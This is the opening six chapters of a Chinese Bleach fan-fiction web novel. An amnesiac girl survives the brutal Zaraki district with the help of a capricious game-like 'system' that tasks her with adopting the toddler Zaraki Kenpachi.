《[死神]智障系统总在坑我》 1. 第一章 《[死神]智障系统总在坑我》全本免费阅读 北流魂街80区更木区。 这是一片辽阔却寸草不生的土地,上面扎根着无数低矮的木架草顶式民宅。它们零散地分布在这片土地上,不知在风雨中历经多少岁月,看上去无人打理,破旧不堪,宛如废宅。 这里被门扉紧闭的房屋分成两个世界。屋内,是暂时的安身之处;屋外,则是争斗不休的战场。 红褐色的土地上,四处可见厮杀场景,各个角落里趴伏着一个个不知生死的人。他们有的衣不蔽体,身体上伤痕累累;有的赤身裸体,身体已腐烂发臭;有的身上趴着神志不清的人,正贪婪地在他们的伤口处大口吮吸,如饮甘霖。 无论男女,路上的人三三两两地乱战在一起。他们肉搏拼杀,拳脚相加,指甲、牙齿并用,时不时扯头发、插眼睛,无所不用其极,眼里流露出一股疯狂的求生欲。 “水!给我水!” “渴,好渴啊——” 嘶吼声、呻-吟声、惨叫声此起彼伏。一个个人在战斗中倒下,抽搐着身体不动了。 在这一片乱象中,一个人无声无息地凭空出现在某个无人的角落。 那是一个肤色白皙细腻的美少女。她闭着双眼躺在地上,似乎正沉浸于美梦之中,嘴角犹带一丝笑意。 凹凸不平的地上散落着些许碎石,向她的后背宣告自己的存在。 硌人的触觉及耳畔的噪音惊扰了她的好梦。她脸上的笑意倏地散去,眼珠子颤动了几下,眉宇紧锁,缓缓地睁开了眼睛。 充斥着血腥、绝望和暴力的惨烈景象不容分说地闯入她的眼帘。 满目的血色如同冬日里浇头而下的冷水,让她迅速清醒过来。在炎炎烈日下,她的身体如坠冰窟,冻到骨子里。 她瞪大眼睛,不可思议地看着眼前超现实的人间地狱。 ……梦? ——不可能。她的五感告诉她,这并非一场虚幻的梦境。 咫尺之间,那一幕幕场景清晰得分毫毕现,鼻尖的铁锈味真实得令人作呕,凄厉的叫喊声震耳欲聋,她的后背与地面的触感也毫无虚假。 她的心里直反胃,喉咙发痒,伸出双手紧紧地捂住嘴巴,干呕了几下,全身颤抖,产生逃离此处的念头。 她的目光向四周梭巡一圈,发现四处全是一般的景象——她无处可逃。 恐惧和绝望如一只大手,扼住了她的喉咙,让她肝胆俱裂。 更令她崩溃的是,她发觉自己丢失了醒来之前的所有记忆。 这是哪里?她为什么会在此地?她……又是谁? 就在此刻,一只蓝紫色的透明蝴蝶闪现于她眼前,扇动的翅膀洒下点点闪烁微光的鳞粉,美丽得如同幻梦一般,与四周场景格格不入。 她被它梦幻的美丽姿态迷惑住心神,不由得伸手去触碰它。 在她的指尖触及它之前,那只流光溢彩的蝴蝶突然幻化成一面蓝紫色的透明光屏。几道不明所以的彩色线条浮现在屏幕上,闪烁几下,而后转化为几行黑色的文字,定型。 【姓名:若月千纱 武器:无 基本技能:无 武力值:不堪一击 任务:收养一个小孩子(0/1) 任务奖励:基本技能——白打(初级) 注:白打:体术,空手格斗术】 她的记忆空荡荡的,但看到这面光屏时,她的脑海里蓦然浮现出“人物状态及任务栏”几个字,并自然而然地理解了目前的一些情况。 她叫做若月千纱,蓝紫色蝴蝶是系统。只要她成功收养一个小孩子,她就能解锁任务奖励,习得白打技能,提高武力值,从而提高自己的存活率。 但是,收养小孩子?柔弱的小孩子怎么可能在这种人间地狱里存活得下来? 她的心中刚划过这个念头,就见光屏上文字变了一变:【是否搜索附近符合条件的小孩子?是/否】 这还用问吗?答案只有一个!那可是最后的救命稻草啊! 她不曾出声,光屏上的文字却立即转变为【搜索中】。 三秒后,窗口里的文字显示为【搜索完毕,1人符合条件。系统是否更换为指路模式?是/否】 若月千纱震惊不已——居然真的有小孩子能在这种环境下存活下去?他/她的生命力太顽强了吧!他/她在哪里? 光屏重新幻化为蓝紫色蝴蝶,朝某个方向直线飞去。 它施施然地从前方三个挡在它行进路线上打架的人面前飞过,无视前方胡乱挥舞的拳头,径直前进。 他们对它视而不见,挥舞的拳头不经意间和它的身体重叠,分离,却没对它没有造成一丝伤害。 它和他们仿佛身处不同的次元,不受他们的任何影响。 它停留在距离她约50米处的半空中,似乎在等待她,没有继续向前。 身旁的惨象依旧,倘若她引起别人注意,她极有可能被卷入到战斗中去,成为地上奄奄一息的失败者之一。然而,系统为她指明了一条活路,它的存在让她的处境有所改变。 只要她小心避开战斗,在捡到小孩子之前幸运地存活下来,她就能获取系统的任务奖励,具备生存的基础条件。 若月千纱的心中骤生出一股勇气,手脚有了丝力气。 她打量四周,确定没有人留意到她,悄悄地从地上爬了起来。 这个动作让她的目光第一次落到自己身上。 一瞥之下,她的动作骤然停顿。 她发现,此刻她正穿着一件仙气飘飘的白色长款连衣裙,露在外面的胳膊腿肤白如玉,和周围身着水干、全身肮脏的其他人比起来像是两个世界的人,醒目至极。 她不知道为什么之前一直没人注意到她,但是,倘若她就这样行走在血色的大地上,简直堪比黑夜中的一抹亮光,绝对能吸引到一大片目光。 白白嫩嫩的兔子若暴露在嗜血的狼群之中,下场只有一个。 她不想死。 她抓起地上变色的泥土,忍着刺鼻的气味,将它拍在自己的脸上、手上和脚上,把自己暴露在外的皮肤抹得脏兮兮的。 接着,她把目光转向不远处倒在地上的一个男子身上,一边观察周围动静一边迅速走过去,扒下他沾满血迹、发着恶臭的破烂外裳穿在自己身上,随意系上腰带。 成年男子的外裳又宽又长,松松垮垮地搭在她身上,拖至地面,挡住了内里洁白无瑕的连衣裙。 几弹指的工夫,小仙女堕入人间,变成一名小乞丐。 她双手合十,朝地上的男子深深鞠躬:“情势所迫,万不得已借你衣裳一用,抱歉!” 言毕,她转向蓝紫色蝴蝶的方位,将眼前的景象尽收眼底,在大脑里规划路线。 不能靠近落单的人,会被当成猎物;最好不接近即将分出胜负的两人,容易被当成伺机捡便宜的敌方,沦为下一个目标;尽量远离三人以上的混战团,人一多反倒没有固定的目标,见她落单又柔弱好欺负,说不定会脱离战团扑向她。 终上所述,打得势均力敌的两人反倒最安全。他们正打得上头,眼中只有对手,不会也不敢随意转移目光。只要不侵犯到他们的安全距离,她多半不会被迫参战。 若月千纱的目光来回扫射,迅速制定出一条风险最低的路线。 她提高警惕,提起衣服下摆,露出脚面,小心翼翼地沿着路线迂回前进。 当她靠近蓝紫色蝴蝶时,它重新扇动翅膀,向远处飞去。 若月千纱按照之前的风险核定标准继续规划路线,提心吊胆地跟在蓝紫色蝴蝶后面,背后冷汗涔 2. 第二章 《[死神]智障系统总在坑我》全本免费阅读 若月千纱的重心向前偏移,无处借力,面朝下摔向地面。 中年女子一直吊在她身后追赶她,没有漏掉这个难能可贵的机会,一鼓作气地拉近距离,如猛虎扑食般向她猛扑过去。 若月千纱陷入岌岌可危的境地。 她不顾扭伤双手的危险,在倒下前迅速伸出双手撑住地面,竭尽全力将力气往右使,将往前冲的惯性硬生生扭为向一旁翻滚,于千钧一发之际躲过中年女子扑来的身体。 中年女子的反射神经不如她灵敏,没能及时反应过来,扑了个空,重重地摔在地上,撞了个头昏眼花,一时竟没能起身。 若月千纱在地上翻滚了好几圈才卸去身上的那股力量,顾不上刺痛的双腕和散架的身体,双手往地上一抓,迅速爬起。她用手指捏起外衣下摆,提至小腿处,拼命地向蓝紫色蝴蝶的方向跑去。 她跑得一瘸一拐——在刚才翻滚时,她不小心崴伤了脚。 中年女子缓过神来时,若月千纱已再次和她拉开一段距离。 看着前方那道降低了速度、跑步姿势变形的狼狈人影,中年女子眼睛一亮,露出势在必得的喜悦微笑,向猎物奔去。 双方的速度就此对调。唯一的优势沦为劣势,若月千纱再一次被推向死亡的悬崖。 蓝紫色蝴蝶不曾停下翅膀,仿佛要飞到天荒地老。她唯一的希望光芒每时每刻都在减弱,即将被黑暗彻底吞噬。 困兽之斗,结局多半凄惨。 若月千纱被中年女子撵着跑了那么久,不见脱困的希望,反倒即将被猛兽追上,心底骤生出一股戾气——即便是死,她也要把对方拉下水,为自己复仇。 她刚想转开视线,寻找周围最激烈的战斗中心,带着现在眼里只看得见她的中年女子冲进去,却看见蓝紫色蝴蝶在前面的房屋前拐了个弯,停在了半空。 这是…… 希望之火骤然在她双眸中点亮。她不知从哪里获得了一股力量,再次加快了脚步,朝最后的希望跑去。 终点近在咫尺,但中年女子的速度更快——她的手抓住了若月千纱的衣服后襟。 若月千纱打了一个趔趄,松开右手提着衣角的两个指头,扭头向身后一扬手,把紧攥在掌心的沙土抛向她的双眼。 中年女子被这一阴招偷袭成功,惨叫一声,不由得松开手护向眼睛。 若月千纱脱离桎梏,不敢耽搁分毫时间,拼命向蓝紫色蝴蝶跑去。 趁中年女子恢复视力之际,她抵达了希望的终点。在那里,她见到了那个她豁出性命寻找的小孩子。 不,比起小孩子,用“幼儿”来形容他更加合适。 那是一个看似刚学会走路的幼儿,刺猬头,眼神凶恶,衣衫褴褛,全身上下沾染着斑驳的红褐色血迹,一身凶煞之气。 只见他身手矫健地躲过一个伤痕累累的瘦削男子的踢击,迅速绕到他身后,在他的膝盖窝处踹了一脚。男子重心不稳,跪倒在地,身体摇摇欲坠。他伺机冲上前,张口咬向男子的脖颈。 他咬得极狠极重极深,眨眼间,男子便倒在地上。 那个幼儿伸出舌头将嘴唇上的血液舔干净,回首看她,目光里充满了攻击性,看上去活像传说中的食尸鬼,又似野生的猛兽幼崽。 若月千纱瞳孔地震,身体哆嗦,仍在怦怦乱跳的心脏跳动得愈发剧烈,拖着酸痛发软的腿蹭地连退几步。 她早该察觉到的,能在人间地狱里活下来的幼儿怎么可能是普通孩子?收养这种孩子?就她?她似乎被蓝紫色蝴蝶诓骗了。 虚假的系统任务:收养小孩(×) 真实的系统任务:送上门给小怪物加餐(?) 绝对是这样的吧! 若月千纱踟蹰不前,瞥向漂浮在半空中的蓝紫色光屏。 在她见到幼儿的第一眼时,蓝紫色蝴蝶已重新幻化为虚幻的屏幕,上面写着【指路结束,寻到任务目标1/1】,而后又变回了蝴蝶。在这期间,她暗中期待的“是否收养他?是/否”的文字选择屏幕并未显现。 若不是单纯的一个念头就能认定收养这个孩子的事实,那她怎么可能完成得了系统任务?这个系统果然有问题! 她不过发愣了一小会儿工夫,身后又响起跑动的声音,中年女子重新追了上来。 此刻,她正站在两间房屋形成的夹道中间,前方是虎视眈眈地盯着她的幼儿,后面是撵着她追了老远的中年女子。 前有狼,后有虎,说的约莫就是她目前的状况。而在三个人中,她无疑是武力值垫底的那个人。 她必须二选一,突破这个包围圈,逃离此地! 昏迷不醒的男子,看似年幼可欺、实为猎人的幼儿,已亲身体验到她很难缠但不得不继续把她作为目标的中年女子……在被强烈的饥渴感驱使的弱小觅食者面前,另外两个人应该比她更诱人。 若月千纱的思绪百转千回,迅速做出抉择。 当中年女子即将侵入她的安全距离时,她猛地冲向前方。 刺猬头幼儿朝她龇牙,摆出护食的姿势。 中年女子没有注意到斜侧方的男子和幼儿,锲而不舍地追向若月千纱。 若月千纱向前面跑了几步,故技重施,再次回身,往中年女子脸上抛去左手掌心的沙土。 中年女子之前已吃过一回亏,早有准备,见状抬起手臂挡下大部分沙土。然而,她护住了双眼,却因此遮挡住了视线。 若月千纱趁机折返,从中年女子身边擦肩而过。她现学现卖,从中年女子的视线盲区一脚踹向她的膝盖窝,而后逃之夭夭。 中年女子再次被她暗算成功,单膝着地。她的表情变得狰狞无比,抬眼起身时,却看到前方被她忽略的两个人。 她的双目爆发出惊喜的光芒,不再去追逐之前难搞的猎物,向两人纵身扑去。 若月千纱脱离战场后,没有急于找一处无人的房屋庇身。 她之前跟着蓝紫色蝴蝶走了漫长的一段路,对自己身处的环境有了更深入的了解。在这一路上,到处都是不变的厮杀景象。这片人间地狱的范围极广,想要在这里生存下去,光靠苟没有用,她必须成为强者。 成为强者需要强大的战力。一般来说,战力无法一蹴而就,要么来源于日积月累的身体力量,要么来源于精妙的武技,要么来源于丰富的战斗经验,但她三者皆无。按理来说,她不可能在短期内变成强者。 系统不可信,它的任务奖励不知真假。但除了系统给予的微茫希望,她看不到第二条活路。除了相信系统大胆尝试一回,她别无选择。 若月千纱一边逃跑,一边留意身后的动静,确定自己终于摆脱了死咬着她不放的中年女子。 她没有就此松懈,向四周张望,确认自己所处 3. 第三章 《[死神]智障系统总在坑我》全本免费阅读 系统似乎产生了故障,外形在蓝紫色蝴蝶和光屏之间来回切换。 幼儿的体重很轻,但对于才刚恢复一点体力的若月千纱来说相当沉手。她吃力地抱着刺猬头幼儿,胳膊都在发颤。甭说逃跑,此刻的她,连走路都走不稳当。 若月千纱紧盯着男子,见他从地上跃起,收紧手臂,急声催促道:“别拖拖拉拉的!幼儿没有决定权,收不收养由我说了算!任务已完成,快点给我发放任务奖励!” 倘若系统再不给她任务奖励,她必须抛下任务目标,以他为饵,逃开此地! 眼下,她的性命最重要! 系统闪了又闪,固定了外形。 蓝紫色的光屏上跳出文字:【任务:收养一个小孩子(1/1)已完成,发放任务奖励:基本技能——白打(初级)】。 若月千纱全身一热,顿生醍醐灌顶之感。 男子挥来的拳头在她视野中仿佛慢动作,她对它的轨迹了如指掌。 她往旁边移动一步,男子的拳头隔着几毫米的距离擦过她的脸侧,拳风吹拂起她的一缕发丝。 若月千纱心如明镜,突然产生男子姿势不对、浑身破绽的念头,并清晰地“看见”了他身上的多处漏洞,本能地知晓该如何进行反击。 她循着那股的莫名的直觉,尝试着踢出一脚。 受她的体质所限,这一脚速度不快,力道不大,却刚好卡在他旧力已尽、新力未生之际。男子无法躲开,被她不偏不倚地踢中大腿,重心一偏,再次跌倒。 “哇——”攻击奏效,在意料之中,却又在情理之外,若月千纱情不自禁地发出惊叹声。 这个系统竟然没有糊弄她!金手指给得实实在在的! 武技在身,若月千纱信心大增。 男子愕然地看着抱着幼儿的柔弱少女,深觉自己霉运高照,接连遇到两只套着小白兔皮的老虎,心里直打退堂鼓。 战略性撤退前,他的目光无意间落在她的胳膊上。 只见她的双臂正托着幼儿的屁股,双手握着另一只小臂固定姿势,衣服的袖口微微颤动着。 诶,她的手臂在颤抖? 男子瞪大了眼睛,暂时打消了撤退的念头,视线在她身上来回打量。 敌不动,我不动。怀里昏迷的崽崽沉甸甸的,负荷过重,移动不易。此外,她腾出双手抱着崽崽,外衣又一次垂到地面,绊倒的风险大大增加。 若月千纱任凭他打量,一眼不错地盯着他,全神贯注地警戒着他的举动。 随着时间的流逝,她的手臂支撑不住崽崽的体重,双手向手腕处一点一点滑下。崽崽肉眼可见地缓缓下坠,她不得不使力将他托举地更高一些,以免他从怀中掉下去。 男子看穿了她的外强中干,目露精光,再次冲向她。 若月千纱心下一喜。 来得正好!若他继续拖延时间,将她的臂力耗尽,她大概只能丢下崽崽自己逃跑了。 男子的打架方式就是街头混混式的胡打一通,只逞蛮勇,毫无招式可言。在已经点亮武技的若月千纱眼里,他全身上下门户大开,能够借力打力打败他的破绽要多少有多少。 她举重若轻,一个四两拨千斤,不仅化解了他的攻势,还让他又摔了个四仰八叉。 她轻描淡写的姿态迷惑性太强,一举制造出拔了牙的老虎依然是老虎的假象。 事不过三,男子壮着胆子向她发出三回攻击,皆不明不白地被她放倒,摔得鼻青脸肿,心中的惧意卷土重来。 他放弃了她和幼儿,转头扑向地上昏迷不醒的中年女子。他龇着牙想要下嘴,又怕抢食的行为会惹怒若月千纱,频频看向她,进入戒备状态。 若月千纱递给他一个警告的目光,抱着崽崽,一步一个脚印,慢慢地离开这片是非之地。 她抱着崽崽进入附近的一间无人房屋,将他放在地上,而后瘫坐在地上。她吓出一身汗,双臂、双腿酸痛地颤抖着,满脸死里逃生的喜悦和后怕。 她成功地吓唬住了男子,给自己和崽崽蹚出了一条生路。 “万幸,他和我一样体力不支。若是他的力气再大一些,完全能做到以力破巧,拆了我这个花架子。”若月千纱抹了一把冷汗,“技巧和身体素质缺一不可。日后得想办法锻炼身体,补足短板。” 不过,想要在四面楚歌的环境下生存下去,光靠强健的体质和初级体术仍然有所不足。 她得到的技能只是初级白打,在手无寸铁的老弱病残里或许能打遍天下无敌手,但未必敌得过身怀神力或手持利器的人。 若月千纱凝目看向眼前。 在她打斗期间重新变回蓝紫色蝴蝶飞开的系统,在她胜利后飞回她面前,再次化作一面蓝紫色光屏。 她有预感,让她变强的方法就在那面光屏上。 若不其然。 【姓名:若月千纱 武器:无 基本技能:白打(初级) 武力值:初学乍练 被养育者:更木剑八 任务:得到被养育者的认可 任务奖励:基本技能——白打(中级)】 “更木剑八?崽崽的名字不够霸气呢,为什么叫剑八而不是剑一?”若月千纱低声自言自语,“得到他的认可?认可什么?我的监护人资格?我的武力值?还是我的人品?系统,麻烦你把任务描述得详细一些。” 系统充耳不闻。在她看完光屏上的文字后,它重新幻化为蝴蝶。 “……无视我么?”若月千纱不敢置信,睁大双眼,“系统不该有求必应吗?摩西摩西,系统,听到我说的话了吗?我要求描述具体任务!” 蓝紫色蝴蝶不疾不徐地扇动着翅膀,洒下点点辉光。 “不是吧,发布出这么含糊不清的任务,你好意思不打个补丁吗?宿主的体验感会下降的耶!” 蓝紫色蝴蝶翩迁起舞,将忽视她的态度贯彻到底。 “……垃圾服务,一星差评!” 若月千纱不再理会装聋作哑的系统,目光投向她刚“收养”的崽崽。 更木剑八安安静静地躺在地上,双目合拢,不再是之前张牙舞爪的模样,威胁性大减。不过,他的发型仍十分顽强,一簇簇头发朝四面八方支棱着,仿佛刺猬身上的一根根尖刺。 他的头发会像看上去那般扎手吗? 她的心中充满好奇,右手蠢蠢欲动。碍于崽崽清醒时的凶猛表现,她怕不小心惊醒他,有点不敢伸手。 她犹豫不决,盯着昏迷不醒的更木剑八看了许久。 不知他遭遇到何等严重的暗算,在她怀里颠簸了一路仍不曾醒来,在她的灼热视线下亦没有做出任何反应。 他的无害现状助长了若月千纱的勇气。她按捺不住,对他伸出魔爪:“就摸一下,应该不会惊醒他。” 她用指腹触碰更木剑八翘起的头发。 更木剑八的头发触感比想象中柔软许多,她的指腹轻轻一压,有棱有角的发梢就顺服地倒下,变换了形状。她一抽开手指,倒塌的头发就像弹簧一样,倔强地弹回原位,恢复如初。 不知 4. 第四章 《[死神]智障系统总在坑我》全本免费阅读 求问,如何与一个语言不通的暴力幼儿进行沟通交流,让他自愿和自己生活? 答曰,打趴他,捆住他,驯服他,养着他,强压着他让他学会说话,而后让他乖乖听她的话。 然而,理想很美好,现实很骨感。 当若月千纱下定决心遵循丛林法则,用武力制伏他、让这只小野兽服从她后,她才尴尬地发现,哪怕她不手下留情,尽情放开手脚,她也逮不到他。 更木剑八身手灵活,躲闪速度极快,兼之个子矮小,可供攻击的范围也小,大大地限制了她的攻击手段。 雪上加霜的是,她刚刚获得白打的初级技能,虽然下意识明白对方的破绽在哪里、又该如何进行反击,但她极度缺乏实战经验。 即便有外挂加身,战斗本能觉醒,她依然无法随心所欲地操纵她的身体,动作跟不上脑子构建出的轨迹,攻击时反应总会慢半拍,也掌控不好力道。 对付动作不快的人,她尚且能够蒙混过关,但和她交手的却是动作比她更敏捷的更木剑八。她想要躲避攻击,容易,但若是动真格对打,她反倒被自己的身体所累,在攻击时多次露出破绽,险些被更木剑八抓住机会。 若月千纱惊出一身冷汗,放弃原定计划,由攻击再次转为纯粹的防守。 比起攻击,防守消耗的体力更少。她何必用自己的短处去碰别人的长处呢?她只要用最小的动作进行闪避,保存体力。等到崽崽筋疲力尽之时,她就能以逸待劳,把他一举拿下。 她想得很美,但更木剑八不是她操控的人偶,不可能完全按照她的计划行动。 他小小年纪,能在这个人间地狱里活下来,自然拥有基础的生存本能。他攻击了若月千纱许久,没能将她打倒,便虚幻一招,佯攻后抽身逃走。 逃了? 她顶着生命危险好不容易才找到的升级绑定道具想溜? 不可以! 若月千纱顿时心急如焚,追上前去—— “哎呀!” 心慌之下,她一时不慎,没控制好力道,脚下一软,向前打了个趔趄,摔倒在地。这一记平地摔出乎意料,她懵了一下,才手脚并用地爬了起来。 不过几秒停顿,却足以让煮熟的鸭子飞走。 若月千纱眼睁睁看着更木剑八拉开门,逃出了临时牢笼。 她该怎么做,穷追不舍吗? 事实证明,她实力不足。在弹丸之地,她尚且逮不住更木剑八,更别提广袤无垠的门外天地。与其徒劳无功地追在他身后,落个螳螂捕蝉黄雀在后的悲惨下场,她不如养精蓄锐,以应对之后未知的危险。 须臾,更木剑八的背影消失在她的视野中。 她关好门,露出反派脸:“走着瞧吧,更木剑八!你已经被我绑定了,逃不出我的五指山的!我会尽快熟悉天降技能,提升体能和战斗技巧。再见面时,你只有跟姐姐混这唯一一条出路了!嘿嘿嘿——” 至于重逢之日前,更木剑八是否能在恶劣的环境中存活下来?她为什么要担心这个问题? 如果失忆的她都能活到那个时候,那么,能以幼儿之身活到现在的更木剑八显然更不可能出事。 若月千纱握住拳头,给自己打气:“加油,我一定要活到那个时候!” 情绪冷却下来后,她打量起自己的栖身之地。 这是个名副其实的小破屋子,房间里空荡荡的,除了满地灰尘之外别无他物,没有任何应有的家具摆设及生活用品。镶嵌在墙上的门窗不知度过多少个岁月,看起来腐朽不堪,似乎只要一个用力,就能把它们硬生生拽下来。 这个屋子能成为她暂时的庇身之所,给予她安全感吗? 若月千纱看着破破烂烂的门窗,心里不踏实,上手检验了一番。 门窗是用实木做的,比外表结实许多,经受住了她生拉硬拽的考验,勉强让她生出一丝安心之感。 不过,门窗的防御力有限,她不确定它们是否能阻挡得住比她身强力壮的人。为了安全起见,她必须备点其他东西防身。 这片贫瘠的土地里生长不出任何东西,放眼望去,唯见满目荒芜,遍地碎石。 若月千纱扒着门框探头探脑地察看四周,等到方圆百米内无人时,迅速跑向早已锁定好的位置,用外衣下摆兜了些大大小小的碎石块,将其运回屋子。 她来回跑了几趟,在屋角堆起一个碎石堆,才罢手关门,老老实实待在屋子里。 若月千纱看着一地的碎石块,心里满满的安全感,乐呵呵地比出剪刀手:“耶,中距离武器到手!房屋是第一层防护罩,万一被人闯进门,这些石头可以作为第二道屏障。远能掷飞石,近能靠肉搏,只要不出这个门,我的人身安全暂时得到基础保障了!” 然而,旧的问题刚去,新的问题又来。解决掉最直接的生命威胁后,关于生存的一系列问题浮现在她脑海里。 自醒来后,她从未见过任何和食物挂钩的东西。 不经意间,之前所见的几个画面掠过她的脑海,让人细思恐极。 若月千纱打了个激灵,伸手在脑袋边上胡乱挥舞几下,像是要挥散什么杂念似的,讪笑道:“啊哈哈,一定是我多心,胡思乱想要不得啊。没有食物的话,哪来那么多大活人呢?这里绝对有粮食店,只是不在附近。也对,这里应该是法外之地的贫民窟吧,怎么可能做得了生意?商店应该开在更远的地方。系统,给个地图呗,商店在什么位置?” 蓝紫色蝴蝶冥顽不化,就是不理她。 “切,没用的系统。”若月千纱努了努嘴,“罢了,反正暂时没有饥渴感,等饿了再想办法吧。再说了,人饿个三五天也死不了,不急。目前,保命才是第一优先级。不能太信任这间破屋子的安全性,缩在脆弱的蜗牛壳里裹足不前只会自取灭亡,现在最要紧的是把武力值提升上去。” 她脱掉脏兮兮的外衣铺在地 5. 第五章 《[死神]智障系统总在坑我》全本免费阅读 隔日,若月千纱蜷缩着身体,从硬邦邦的地上醒来。 她刚抻直手脚,想舒展开身体,在睡梦中沉寂下来的酸麻疼痛感骤然复苏,并加倍发力。她的四肢百骸犹如万蚁啃噬,没有一处不疼。 “嘶——痛痛痛——”若月千纱痛得眼泪都快飙出眼眶,“这就是不知节制的后果吗?体力透支的代价未免太大了吧!” 她一动不动地躺在地上,给自己建设心理准备。而后,她从地上一寸寸抬起上半身,站了起来,动作迟缓地在房屋里来回走动,仿若僵尸。 在这个过程中,疼痛感逐步加剧,但已经无法突破她的承受底线。 “我就是主动往温水里跳的青蛙吧。”她一边踱步一边调侃自己,“这身细皮嫩肉显然没经过专门锻炼,居然能承受得住这等疼痛,我都开始佩服自己的毅力了。” 她独自一人被困于空无一物的小屋里,无所事事。 眼下,她既没有条件享乐,也不敢出门,又睡够了不想继续躺着,只能靠发呆消遣时间。百无聊赖之下,她顿觉自己的处境堪比坐牢,煎熬至极。 为了打发时间,同时提升自己的战斗力,让自己从抓心挠肝的心烦意乱中解脱出来,在适应了这股无处不在的疼痛感后,她决定投入到训练之中,一石二鸟。 “不对,应该是一举三得。适当运动有助于缓解肌肉酸痛,以毒攻毒永不过时!” 她采用精神胜利法,摒除杂念,专心致志地重复昨日的训练,誓要把初级白打技能彻底收为己用,将其揉入到自己的身体里,直至它成为战斗本能。 修行不知昼夜,当流水线般重复做一件事情时,时间流逝得飞快。由于周围无人打扰,手头上也没有计时工具,她对时间失去了概念,直到天色昏沉视野变暗,才发现一个白天已悄无声息地过去了。 她怔怔地看着窗外的暗色天幕,总觉得自己遗忘了什么。 这种感觉似曾相识,她很快就回想起熟悉感的源头,恍然大悟地一击掌:“对了,昨晚睡觉前我就在想这件事!早上被疼痛感转移了注意力,后来又专注于修炼,完全忘记这回事了!我究竟忘了什么?” 她冥思苦想许久,依然一无所得。 “是时候放弃啦。有时候就是这样,越是思考越得不出答案。倘若放着不管,反倒容易灵光一闪。” 若月千纱索性将问题抛之脑后,做起拉伸动作放松身体。 “诶,身体似乎真的没之前那么酸痛了?”她试着做了个腿部肌肉拉伸动作,感受了一下,露出欢喜的笑容,“不是错觉,疼痛感确实减退了。再过两三天,我就能和之前一样活蹦乱跳啦!” “等等,再过两三天?今天是我有记忆以来的第二天吧?” 留意到这一点时,若月千纱心中若隐若现的怪异感破土而出。她表情一滞,忘记自己还在做拉伸运动,脚下一软,险些往后栽倒。好在这两天她一直在训练,条件反射地稳住了身体,才没摔了个屁股开花。 她双手撑地,从地上蹦了起来,震惊道:“这两天我粒米未进、滴水不沾,又是被人追赶又是不停训练,怎么会没有半点饥渴感?这不正常!” 她确实缺失了记忆,但生活常识仍在。人类确实可以忍受得了一两天内不吃不喝,但生理上必然会产生强烈的饥渴感,甚至会引发身体的一系列不适症状。 然而,她的情况和生活常识相悖。这两天以来,她从未觉得口渴或饥饿,以至于忘记自己需要饮水或进餐。 她是做好了饥渴几天的心理准备,但没做好自己能够不吃不喝活着的心理准备啊! 能够长时间不吃不喝存活的生命体是什么? “我是非人类?僵尸?鬼魂?”若月千纱心脏停跳了一拍,慌忙按向自己的左胸。手掌感受到的跳动旋律无序却有力,宣告着她旺盛的生命力,“神明?妖怪?” 她到底是哪一类存在?她被开除人籍了吗?她对这里的陌生感或许并不仅仅源自于她的失忆。 “系统,快点告诉我,我是什么种族,这里是哪里!?” 蓝紫色蝴蝶不语,仿佛要沉默到天荒地老。 “……不,这些都不重要。”系统的反应如一瓢兜头泼下的冷水,让她激动的情绪变得冷静下来,“我还活着,这才是最重要的。其他问题都不是问题,等未来出了这个门后,我会一一弄明白的。” 为此,她必须尽快拥有离开这间房间的底气,即充足的战斗力。 “能够长时间不吃不喝,对我来说算是好事。除了睡觉,我可以无所顾忌,把所有时间用在训练上。” 若月千纱下了狠心,每日早睡早起,不停歇地进行格斗术的基本功训练及脑内模拟训练。 不知为何,她的身体素质在短短几日内便有所改善。相较于前几日,她的力量、爆发力、耐力、持久力等都有了长足的长进。 “这么快就见效,有悖于常理的进步……这就是非人类的优势吗?”若月千纱好奇地捏了捏自己变结实的胳膊肌肉,“按照这种趋势,我会不会练成金刚芭比?噫,别啊,想想就觉得辣眼睛……不对,真练成那种不好惹的模样,走出门估计会很安全?” 她有一点点心动。 生存比美貌重要,特别是现在。 她走到窗户旁边,透过狭窄的边框眺望外面的世界。 窗外的世界一如她初见那时,不停地上演一幕幕惨剧。主角们的脸换了一张又一张,但这种剧目从未停息过。 她的喉咙蠕动了几下,舔了舔发干的嘴唇,摸了摸自己的肚子。 这么多天以来,她的大脑从未向她释放过饥饿的信号,她的喉咙却逐渐变得干燥。如今,她已经产生了口渴感。在可想而知的未来,那种感觉势必会越来越迫切。 “可以不吃,但不能不喝,难道我是只喝露水的小仙女吗?”她被自己滑稽的联想逗笑了一回,目光触及 6. 第六章 《[死神]智障系统总在坑我》全本免费阅读 伴随着几声巨响,有人暴力破门,只身闯入若月千纱的暂居地。 一个精瘦的男子窜入大敞的门内,背对着大门,占据了进可攻退可逃亦能断绝屋主逃跑后路的绝佳位置。他弓起身体,蓄势待发,目光迅速扫视周围,寻找他的猎物。 小小的房屋不过十叠大小左右,里面没有任何物品能够遮挡视线,一览无遗。只见一个美少女盈盈独立于房屋中间,正一脸愕然地看向他,一副搞不清突发状况的模样。 男子没有松懈警惕心,小心翼翼地上下打量着她。 少女四肢纤细,皮肤白嫩,穿着他从未见过的昂贵布料织成的精致白裙,看似养在深闺里不知世事的大小姐。 男子的视线从她凌乱的头发上掠过,落在她干燥起皮的嘴唇上,再下滑到她沾染着大片灰尘的裙子上。 她身上没有血迹。 男子紧绷的身体骤然放松,反手将门拉上,一步步逼近少女。 少女瑟缩了一下,嗅到危机的味道,慌不择路地朝大门对角线逃去。然而,这间屋子横竖就巴掌大小,她没跑几步,就被墙壁挡住了去路。 男子追上前去,毫不留情地将她逼进墙角,向她举起了拳头。 他的拳头落空了,只击中了空气。 之前还在抱头鼠窜的少女不慌不忙地往旁边跨了一步,右手握住男子的小臂使劲一拽,松手。 男子猝不及防,重心前倾,身不由己地向前冲去。他踉跄了一下,眼见自己的脑袋即将撞上墙壁,慌忙伸手撑墙,卸掉那股反冲力。 就在这时,一脚飞踢踹向他的后背。他来不及护住脑袋,脸部重重地砸在了墙壁上。 “啊——我的鼻子——” 一股剧痛从他的鼻梁处炸开,两道热流奔涌而出,滴滴答答地落下,染红了他身前的一小片衣襟。 “哎呀,我的力气好像大了不少?”若月千纱一脸惊喜,“单练很难感受到自己的进步幅度,果然还是要靠实战进行验证!你这样的恶人,正适合练手呢!” 无害小白兔骤然变身成钢牙猛兽,男子善于见风使舵,意识到自己或许阴沟里翻了船,便心生退意,捂着受伤的鼻子,想要逃离这间屋子。 “想跑?判断得很准确。不过,你以为我为什么要演刚才那出戏,把你引过来?”若月千纱拦在男子身前,挡住唯一一个逃生口,龇出一口大白牙,“来都来了,就别想走了。我缺一个沙包练手,你陪陪我呗?” 